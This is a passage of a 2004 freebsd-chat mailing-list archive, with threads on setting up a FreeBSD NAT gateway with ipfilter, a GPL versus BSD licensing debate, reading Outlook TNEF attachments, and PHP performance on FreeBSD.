09:25:44 2000 # -- sysinstall generated deltas -- # Fri Feb 4 09:25:44 2000 ifconfig_rl0="inet 84.21.192.150 netmask 255.255.255.0" file "rc.conf", 38 lines --0-473234177-1098991546=:66756 Content-Type: text/plain; name="ipnat.rules.txt" Content-Description: ipnat.rules.txt Content-Disposition: inline; filename="ipnat.rules.txt" map rl0 10.0.0.0/24 -> 0.0.0.0/32 portmap tcp/udp 40000:65000 map rl0 10.0.0.0/24 -> 0.0.0.0/32 rdr rl0 0.0.0.0/0 port 3389 -> 192.168.1.2 port 3389 --0-473234177-1098991546=:66756-- From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 20:48:46 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9D8BD16A4CE for ; Thu, 28 Oct 2004 20:48:46 +0000 (GMT) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id B11E243D1F for ; Thu, 28 Oct 2004 20:48:45 +0000 (GMT) (envelope-from ph.schulz@gmx.de) Received: (qmail 29307 invoked by uid 65534); 28 Oct 2004 20:48:44 -0000 Received: from dsl-213-023-058-201.arcor-ip.net (EHLO [192.168.1.4]) (213.23.58.201) by mail.gmx.net (mp024) with SMTP; 28 Oct 2004 22:48:44 +0200 X-Authenticated: #1954550 Message-ID: <41815B2B.7070801@gmx.de> Date: Thu, 28 Oct 2004 22:48:43 +0200 From: Phil Schulz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.2) Gecko/20040830 X-Accept-Language: de, en-us, en MIME-Version: 1.0 To: chat@freebsd.org References: In-Reply-To: X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: TM4525@aol.com cc: tedm@toybox.placo.com Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 20:48:46 -0000 [Moved to chat@ from questions@ since the discussion isn't strictly about FreeBSD anymore] TM4525@aol.com wrote: > In a message dated 10/26/04 2:32:58 AM Eastern Daylight Time, > tedm@toybox.placo.com writes: > Actually a more interesting example is some of the Linksys routers > do indeed use an embedded Linux along with Zebra as the routing engine. > > Ted > Or Allot communications, who openly advertise the use of linux, but do > not make source available to an obviously modified kernel.. I believe they > claim that the GPL is optional. I don't think that Allot modifies the Linux kernel. I wouldn't expect them to do so and I don't see an obvious reason why they should (*). Obviously some of their custom stuff needs to run inside kernel, but I rather think they enhance the kernel with some loadable modules or whatever (does Linux have KLDs?). In a case, it is not really clear if the product needs to be licensed under the GPL. You could see your product as an application designed for Linux, so you think it is your choice on how to license your code, but... A while back, I fast-read a post of Linus Torvalds to a mailing list saying why he thinks that binary-only enhancements to linux must be GPL licenced (and I believed the statemant was discussed on a FreeBSD-list also). His argument was that by using the kernel headers your work automatically becomes a derived work, thus it needs to be licensed under the GPL. I seem to recall the discussion was about nVidia's closed source, binary only drivers but, according to Linus, affects all similar products. I'm unsure if and how this issue is being dealt with. But then, I'm not sure (and I mean it) if there can be any piece of software which, if designed for e.g. Linux, can be written w/o using any system headers, libraries or whatsoever. Personally, I like the BSD(-style) license better b/c I don't have to worry about such things and therefore have more time to concentrate on others. Regards, Phil. (*) I've only ever worked with the NetEnforcer Products, don't know Allot's other products. P.S.: I do not know Linux at all and I don't feel that I have to get my hands on it in the nearest future. I'm just stating my opinion, how I see things and what observations I've made. -- Did you know... If you play a Windows 2000 CD backwards, you hear satanic messages, but what's worse is when you play it forward.... ...it installs Windows 2000 -- Alfred Perlstein on chat@freebsd.org From owner-freebsd-chat@FreeBSD.ORG Thu Oct 28 23:47:19 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A0B7E16A4CE for ; Thu, 28 Oct 2004 23:47:19 +0000 (GMT) Received: from mxsf26.cluster1.charter.net (mxsf26.cluster1.charter.net [209.225.28.226]) by mx1.FreeBSD.org (Postfix) with ESMTP id 494DB43D54 for ; Thu, 28 Oct 2004 23:47:19 +0000 (GMT) (envelope-from collin@kreklow.us) Received: from mxip08.cluster1.charter.net (mxip08a.cluster1.charter.net [209.225.28.138])i9SNlDCw021756 for ; Thu, 28 Oct 2004 19:47:15 -0400 Received: from c68.185.189.50.mad.wi.charter.com (HELO charter.net) (68.185.189.50) by mxip08.cluster1.charter.net with SMTP; 28 Oct 2004 19:47:15 -0400 X-Ironport-AV: i="3.86,109,1096862400"; d="scan'208"; a="390634080:sNHT14164804" Date: Thu, 28 Oct 2004 18:47:12 -0500 From: "Collin J. Kreklow" To: Zhelyazko Georgiev Message-ID: <20041028234711.GA24687@jupiter.kreklow.us> References: <20041028192546.66960.qmail@web41713.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20041028192546.66960.qmail@web41713.mail.yahoo.com> User-Agent: Mutt/1.5.6i cc: freebsd-chat@freebsd.org Subject: Re: Request: X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 28 Oct 2004 23:47:19 -0000 On Thu, Oct 28, 2004 at 12:25:46PM -0700, Zhelyazko Georgiev wrote: > Dear members of the freebsd mailing list, > I'm new to freebsd and still trying to learn some Welcome to FreeBSD! > basic concepts as far as configurating it as operating > system. The question that I'm about to ask is probably > very simple so I ask for your excuse to bother you > with hat question but I'm trying to figure it out for > a long time now and still no results. No problem. A helpful hint: it is usually better to ask general questions on the -questions mailing list; -chat is mostly off-topic discussion :) > I'm trying to setup my FreeBSD 5.2 Realease to act as > a Nat router/ gateway. I compiled the kernel by > including the following options : You should consider upgrading to 5.3 (RC1, soon to be Release). That's not absolutely necessary, but it's a good idea. > options IPFIREWALL > options IPDIVERT Since you're using ipf below, you don't need IPFIREWALL and IPDIVERT. They are only used for ipfw and natd. You can leave them in if you want, they won't do anything unless you enable ipfw or natd. > options IPSEC > options IPSEC_ESP > options IPSEC_DEBUG > options IPFILTER > options PFIL_HOOKS > > attached are my inetd.conf ; ipf.rules ; ipnat.rules > and rc.conf files. > > I'm able to ping both networks and access internet > from the freebsd machine. From the external network I > cannot see the internal (as it should be) from the > internal I can ping the internal IP 192.168.1.1 of my > FreeBSD box and also the external IP address > 84.21.192.168 but I'm not able to see the router of my > ISP 84.21.192.1 and for that reason I do not have > internet for the internal network. Please help me to > figure out why I'm not able to make this thing to > work. Any help is highly appreciated. Thank you in advance. Based on the information you have provided, I think we have similar setups, so I'll base my suggestions off what I'm doing here. The first place to start configuring is your rc.conf. The following options control IPFW and natd. Since you are using ipf, you should remove these from your rc.conf: > enable_firewall="YES" > firewall_type="OPEN" > firewall_quiet="YES" > natd_enable="YES" > natd_interface="rl0" > natd_flags="-f /etc/natd.rules" You should also remove this option: > inetd_enable="YES" It is not necessary because you have: > sshd_enable="YES" You also have this line twice (which should be harmless): > ifconfig_rl0="inet 84.21.192.150 netmask 255.255.255.0" I am no expert on ipf rules, so instead of commenting on what you have, I'll just show you what I've got (xl0 is external, xl1 is internal): /etc/ipf.rules: block in all block out all pass in quick on lo0 pass out quick on lo0 pass in quick on xl1 from 192.168.1.0/24 to any pass out quick on xl1 from any to 192.168.1.0/24 pass out on xl0 proto tcp from any to any flags S keep state keep frags pass out on xl0 proto udp from any to any keep state pass out on xl0 proto icmp from any to any icmp-type 8 keep state pass out on xl0 proto gre from any to any keep state /etc/ipnat.rules: map xl0 192.168.1.0/24 -> 0/32 portmap tcp/udp auto map xl0 192.168.1.0/24 -> 0/32 Hopefully this information will get you pointed in the right direction. Collin From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 01:11:57 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C2CE616A4CE for ; Fri, 29 Oct 2004 01:11:57 +0000 (GMT) Received: from cain.gsoft.com.au (cain.gsoft.com.au [203.31.81.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id C6B3A43D48 for ; Fri, 29 Oct 2004 01:11:54 +0000 (GMT) (envelope-from doconnor@gsoft.com.au) Received: from inchoate.gsoft.com.au (localhost [127.0.0.1]) (authenticated bits=0) by cain.gsoft.com.au (8.12.11/8.12.10) with ESMTP id i9T1BpxJ066947; Fri, 29 Oct 2004 10:41:51 +0930 (CST) (envelope-from doconnor@gsoft.com.au) From: "Daniel O'Connor" To: freebsd-chat@freebsd.org Date: Fri, 29 Oct 2004 10:41:50 +0930 User-Agent: KMail/1.7 References: <017b01c4bb78$28263a00$4df24243@tsgincorporated.com> <38227116-2874-11D9-8CF2-000393BB56F2@HiWAAY.net> <41810677.1060609@ofdeng.com> In-Reply-To: <41810677.1060609@ofdeng.com> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart8264440.Qn4dhmP9LE"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200410291041.50880.doconnor@gsoft.com.au> X-Spam-Score: -2.5 () IN_REP_TO,PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,REFERENCES,SPAM_PHRASE_00_01,USER_AGENT X-Scanned-By: MIMEDefang 2.16 (www . roaringpenguin . com / mimedefang) cc: David Kelly cc: Kevin Lyons Subject: Re: Serious investigations into UNIX and Windows X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 01:11:57 -0000 --nextPart8264440.Qn4dhmP9LE Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline On Fri, 29 Oct 2004 00:17, Kevin Lyons wrote: > -It is almost impossible to get outlook to stop sending attachments in > their propreity .dat format. Even in forced plain text mode which the > knowledgebase says will force mime, the thing still sends in .dat. BTW if you have to suffer this you can use ktnef which is part of kdepim to= =20 view it's contents. There's also /usr/ports/converters/tnef and a bunch of other ports which ca= n=20 handle it. (Annoying but it beats running outlook :) =2D-=20 Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum GPG Fingerprint - 5596 B766 97C0 0E94 4347 295E E593 DC20 7B3F CE8C --nextPart8264440.Qn4dhmP9LE Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (FreeBSD) iD8DBQBBgZjW5ZPcIHs/zowRAo9GAJ97qtkXxdBl8zvKWTc2HYqooLZaOwCeM3Cs ZWJxc0PM8YnTf9ToQW1gRTU= =4AUz -----END PGP SIGNATURE----- --nextPart8264440.Qn4dhmP9LE-- From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 01:15:38 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EAFF516A4CE for ; Fri, 29 Oct 2004 01:15:38 +0000 (GMT) Received: from mail1.webmaster.com (mail1.webmaster.com [216.152.64.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id D041C43D39 for ; Fri, 29 Oct 2004 01:15:38 +0000 (GMT) (envelope-from davids@webmaster.com) Received: from however by webmaster.com (MDaemon.PRO.v7.1.0.R) with ESMTP id md50000248837.msg for ; Thu, 28 Oct 2004 17:51:37 -0700 From: "David Schwartz" To: Date: Thu, 28 Oct 2004 18:15:00 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 In-Reply-To: <41815B2B.7070801@gmx.de> X-Authenticated-Sender: joelkatz@webmaster.com X-Spam-Processed: mail1.webmaster.com, Thu, 28 Oct 2004 17:51:37 -0700 (not processed: message from trusted or authenticated source) X-MDRemoteIP: 206.171.168.138 X-Return-Path: davids@webmaster.com X-MDaemon-Deliver-To: chat@freebsd.org X-MDAV-Processed: mail1.webmaster.com, Thu, 28 Oct 2004 17:51:41 -0700 cc: TM4525@aol.com cc: tedm@toybox.placo.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: davids@webmaster.com List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 01:15:39 -0000 > But then, I'm not sure (and I mean it) if there can be any piece of > software which, if designed for e.g. Linux, can be written w/o using any > system headers, libraries or whatsoever. You can do this with only moderate difficulty and moderate inefficiency if you want to. All you have to do is: 1) Define your own kernel interface that your proprietary module will use. 2) Implement this interface in a kernel module that is GPL. 3) Distribute your proprietary module such that it uses only your own interface. This way, your module need only use your own headers, which you distribute under the GPL as well as other licenses. The inefficiency comes from having to convert between your own structures and values to and from the Linux kernel structures and values. If you're really clever, you can rig it so that the conversion reduces to no-ops on at least some kernel versions for many conversions, still without using the Linux kernel header files. You are also free to use subterfuge of any kind to get around any restrictions the Linux kernel may attempt to impose upon you because these are not license enforcement mechanisms. The Linux kernel does not, and *may* not, contain any license enforcement mechanisms that affect *use*, and obviously anything that could affect the runnning of your module would be affecting use. (The GPL does not restrict use and prohibits any 'additional restrictions', thus any thing that seemed to be an additional restriction could not be a license enforment mechanism because the restriction is not in the license.) DS From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 06:10:08 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 85AAE16A4CE for ; Fri, 29 Oct 2004 06:10:08 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 20F2B43D1F for ; Fri, 29 Oct 2004 06:10:08 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) i9T69tY03847; Thu, 28 Oct 2004 23:09:55 -0700 (PDT) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Phil Schulz" , Date: Thu, 28 Oct 2004 23:09:54 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: <41815B2B.7070801@gmx.de> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 06:10:08 -0000 > -----Original Message----- > From: Phil Schulz [mailto:ph.schulz@gmx.de] > Sent: Thursday, October 28, 2004 1:49 PM > To: chat@freebsd.org > Cc: TM4525@aol.com; tedm@toybox.placo.com > Subject: Re: GPL vs BSD Licence > > A while back, I fast-read a post of Linus Torvalds to a mailing list > saying why he thinks that binary-only enhancements to linux must be GPL > licenced (and I believed the statemant was discussed on a FreeBSD-list > also). His argument was that by using the kernel headers your work > automatically becomes a derived work, thus it needs to be licensed under > the GPL. I seem to recall the discussion was about nVidia's closed > source, binary only drivers but, according to Linus, affects all similar > products. I'm unsure if and how this issue is being dealt with. It is. It is the stated policy of the FSF that loadable kernel modules are considered part of the GPL work and therefore must be GPL'ed themselves. That is where all this is coming from. It is kind of a personal vendetta/issue with RMS I understand. This position has also created lots of controversy as you might imagine. > But then, I'm not sure (and I mean it) if there can be any piece of > software which, if designed for e.g. Linux, can be written w/o using any > system headers, libraries or whatsoever. They make an exception for libraries with the LGPL license. Certain ones, only, however. All this is discussed on the FSF website, by the way. Ted From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 06:22:44 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 37FC016A4CE for ; Fri, 29 Oct 2004 06:22:44 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id D3FC343D2D for ; Fri, 29 Oct 2004 06:22:43 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) i9T6MeY03927; Thu, 28 Oct 2004 23:22:40 -0700 (PDT) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: , Date: Thu, 28 Oct 2004 23:22:40 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 cc: TM4525@aol.com Subject: RE: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 06:22:44 -0000 The GPL and Linux don't care if you link into their system libraries, they expect that which is why the system libraries are LGPLd What they care about is linking into libraries (like readline) which they consider "their" work. If you do it, regardless of whether you use those library headers or use a translation think like you are outlining here, you must GPL your stuff. The contamination comes from linking in, even dynamically, not from just using ascii source files. Ted > -----Original Message----- > From: David Schwartz [mailto:davids@webmaster.com] > Sent: Thursday, October 28, 2004 6:15 PM > To: chat@freebsd.org > Cc: TM4525@aol.com; tedm@toybox.placo.com > Subject: RE: GPL vs BSD Licence > > > > > But then, I'm not sure (and I mean it) if there can be any piece of > > software which, if designed for e.g. Linux, can be written w/o using any > > system headers, libraries or whatsoever. > > You can do this with only moderate difficulty and moderate > inefficiency if > you want to. All you have to do is: > > 1) Define your own kernel interface that your proprietary > module will use. > > 2) Implement this interface in a kernel module that is GPL. > > 3) Distribute your proprietary module such that it uses > only your own > interface. > > This way, your module need only use your own headers, which > you distribute > under the GPL as well as other licenses. > > The inefficiency comes from having to convert between your > own structures > and values to and from the Linux kernel structures and values. If you're > really clever, you can rig it so that the conversion reduces to > no-ops on at > least some kernel versions for many conversions, still without using the > Linux kernel header files. > > You are also free to use subterfuge of any kind to get around any > restrictions the Linux kernel may attempt to impose upon you because these > are not license enforcement mechanisms. The Linux kernel does > not, and *may* > not, contain any license enforcement mechanisms that affect *use*, and > obviously anything that could affect the runnning of your module would be > affecting use. (The GPL does not restrict use and prohibits any > 'additional > restrictions', thus any thing that seemed to be an additional restriction > could not be a license enforment mechanism because the > restriction is not in > the license.) > > DS > > > From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 06:29:16 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E60D216A4CE for ; Fri, 29 Oct 2004 06:29:16 +0000 (GMT) Received: from main.gmane.org (main.gmane.org [80.91.229.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4EA8843D2D for ; Fri, 29 Oct 2004 06:29:16 +0000 (GMT) (envelope-from freebsd-chat@m.gmane.org) Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CNQGA-0008I3-00 for ; Fri, 29 Oct 2004 08:29:14 +0200 Received: from 79.62-97-240.bkkb.no ([62.97.240.79]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 29 Oct 2004 08:29:14 +0200 Received: from jakob by 79.62-97-240.bkkb.no with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 29 Oct 2004 08:29:14 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-chat@freebsd.org From: Jakob Breivik Grimstveit Date: Fri, 29 Oct 2004 08:29:40 +0200 Organization: BitWise Computing Lines: 22 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 79.62-97-240.bkkb.no User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table) X-Face: .4qx3fwC]Zs6i@H)n4+U7@:QPR,\(Q'z[`J-C"'v:; *cy8[}d]:x,*Z6I?e8m%a~O?f1',N \1g'^='~; B3WO"RqF(tt]5<1)z%.%hqWnyM|NG}|e[zDmf=j(F*p|Tq^C#{<_FvV|P/tB4aG81S )#iIlo]%Gm<)uLyN Subject: PHP performance on FreeBSD 4.x and 5.x X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: jakob@grimstveit.no List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 06:29:17 -0000 At my local *BSD- and Linux User Group [1} we yesterday had a presentation by eZ Publish [2] a PHP based CMS and portal builder framework for web. During the session it was stated by the speaker mentioned that running their system on FreeBSD (both 4.x and 5.x) not necessarily would be a good thing due to a lot of filesystem calls in their product, which PHP on FreeBSD had performance problems with under high load. In other words he did not recommend FreeBSD as server platform for eZ Publish (or any other PHP software for that matter) where a high number of visitors was probable. I found this to be difficult to believe, and decided to ask you about whether this might be the case or not. [1]: - Bergen (*BSD and) Linux User Group [2]: - eZ Publish -- Jakob Breivik Grimstveit, http://www.grimstveit.no/jakob, +47 48298152 Bruk Newsergalleriet! No på http://www.newsergalleriet.no/ Treng du noko på CD?: http://www.grimstveit.no/jakob/burncd_no From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 09:26:54 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 66CC616A4CF for ; Fri, 29 Oct 2004 09:26:54 +0000 (GMT) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 64EF443D2D for ; Fri, 29 Oct 2004 09:26:53 +0000 (GMT) (envelope-from ph.schulz@gmx.de) Received: (qmail 5541 invoked by uid 65534); 29 Oct 2004 09:26:52 -0000 Received: from dsl-213-023-058-201.arcor-ip.net (EHLO [192.168.1.4]) (213.23.58.201) by mail.gmx.net (mp004) with SMTP; 29 Oct 2004 11:26:52 +0200 X-Authenticated: #1954550 Message-ID: <41820CD6.2020905@gmx.de> Date: Fri, 29 Oct 2004 11:26:46 +0200 From: Phil Schulz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.2) Gecko/20040830 X-Accept-Language: de, en-us, en MIME-Version: 1.0 To: TM4525@aol.com References: <1f7.1bdd3cc.2eb2b9b1@aol.com> In-Reply-To: <1f7.1bdd3cc.2eb2b9b1@aol.com> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: questions@freebsd.org cc: chat@freebsd.org Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 09:26:54 -0000 I thought I sent that mail to chat@, I wonder how the reply ended up at questions@ again. Unfortunately my provider won't let me set a Reply-To: header. TM4525@aol.com wrote: > In a message dated 10/28/04 4:49:28 PM Eastern Daylight Time, > ph.schulz@gmx.de writes: > > > I don't think that Allot modifies the Linux kernel. I wouldn't expect > > them to do so and I don't see an obvious reason why they should (*). > > Obviously some of their custom stuff needs to run inside kernel, but I > > rather think they enhance the kernel with some loadable modules or > > whatever (does Linux have KLDs?). > > Then you either know nothing about programming or nothing about their > products. Do you think they do gigabit bandwidth management, with > features not in the kernel, from user space? That's not what I meant and not what I wrote. You can write a loadable kernel module w/o changing the kernel sources, can't you? > Plus, if they were using an > unmodified kernel, why not provide the source? Put it on the machine. > Whats the harm? What's the use of it? Would you pay a load of money for a product, modify it and therefore lose all the support? > > A while back, I fast-read a post of Linus Torvalds to a mailing list > > saying why he thinks that binary-only enhancements to linux must be GPL > > licenced (and I believed the statemant was discussed on a FreeBSD-list > > also). His argument was that by using the kernel headers your work > > automatically becomes a derived work, thus it needs to be licensed under > > the GPL. I seem to recall the discussion was about nVidia's closed > Modules use headers and are not "GPLed", so clearly you're just > plain wrong. Ok, we agree that modules use headers and that at least some modules are not GPL licensed. Why am I wrong? We should also agree that (at least some) kernel headers are GPL'ed. You can verify this yourself if you have the time and the bandwith. My point was that some people think that if you use a GPL'ed header file, your work must be under the GPL as well. I don't have an opinion on that point b/c I haven't had the need to think about it yet. I was rather trying to say that not even Linux people agree on how to interpret the GPL. > > Linus is just a big dope anyway, so who cares what he thinks? He's like > Kerry. He thinks whatever is convenient for him to think at the time. I don't care a whole lot about the upcoming U.S. election. Plus I think it is highly inappropriate to state your political opinion in such a way on this list. It's not what the list is there for. Kind regards, Phil. -- Did you know... If you play a Windows 2000 CD backwards, you hear satanic messages, but what's worse is when you play it forward.... ...it installs Windows 2000 -- Alfred Perlstein on chat@freebsd.org From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 09:52:30 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 67A0816A4CE for ; Fri, 29 Oct 2004 09:52:30 +0000 (GMT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by mx1.FreeBSD.org (Postfix) with SMTP id 73ED943D41 for ; Fri, 29 Oct 2004 09:52:29 +0000 (GMT) (envelope-from ph.schulz@gmx.de) Received: (qmail 25862 invoked by uid 65534); 29 Oct 2004 09:52:28 -0000 Received: from dsl-213-023-058-201.arcor-ip.net (EHLO [192.168.1.4]) (213.23.58.201) by mail.gmx.net (mp009) with SMTP; 29 Oct 2004 11:52:28 +0200 X-Authenticated: #1954550 Message-ID: <418212DB.1010305@gmx.de> Date: Fri, 29 Oct 2004 11:52:27 +0200 From: Phil Schulz User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.2) Gecko/20040830 X-Accept-Language: de, en-us, en MIME-Version: 1.0 To: Ted Mittelstaedt References: In-Reply-To: X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: chat@freebsd.org Subject: Re: GPL vs BSD Licence X-BeenThere: freebsd-chat@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: Non technical items related to the community List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Oct 2004 09:52:30 -0000 Ted Mittelstaedt wrote: > > -----Original Message----- > > From: David Schwartz [mailto:davids@webmaster.com] > > Sent: Thursday, October 28, 2004 6:15 PM > > To: chat@freebsd.org > > Cc: TM4525@aol.com; tedm@toybox.placo.com > > Subject: RE: GPL vs BSD Licence > > > > > But then, I'm not sure (and I mean it) if there can be any piece of > > > software which, if designed for e.g. Linux, can be written w/o using any > > > system headers, libraries or whatsoever. > > > > You can do this with only moderate difficulty and moderate > > inefficiency if you want to. All you have to do is: > > > > 1) Define your own kernel interface that your proprietary > > module will use. > > > > 2) Implement this interface in a kernel module that is GPL. > > > > 3) Distribute your proprietary module such that it uses only > > your own interface. > > > > This way, your module need only use your own headers, which > > you distribute under the GPL as well as other licenses. > > The GPL and Linux don't care if you link into their system libraries, > they expect that which is why the system libraries are LGPLd > > What they care about is linking into libraries (like readline) which > they consider "their" work. If you do it, regardless of whether you > use those library headers or use a translation think like you are > outlining here, you must GPL your stuff. > > The contamination comes from linking in, even dynamically, not from > just using ascii source files. > > Ted > So I cannot use GPL'ed (vs LGPL'ed) library for software w/o placing the result under the GPL? I think I'm realizing once again that I don't fully get the GNU interpretation of "free". To me, "free" means more sth like "here, take it and do what you want w/ it, but don't bother me if you screw up" which is why I favour BSD-style licensed software. Kind regards, Phil. -- Did you know... If you play a Windows 2000 CD backwards, you hear satanic messages, but what's worse is when you play it forward.... ...it installs Windows 2000 -- Alfred Perlstein on chat@freebsd.org From owner-freebsd-chat@FreeBSD.ORG Fri Oct 29 11:36:11 2004 Return-Path: Delivered-To: freebsd-chat@freebsd.org Received: from 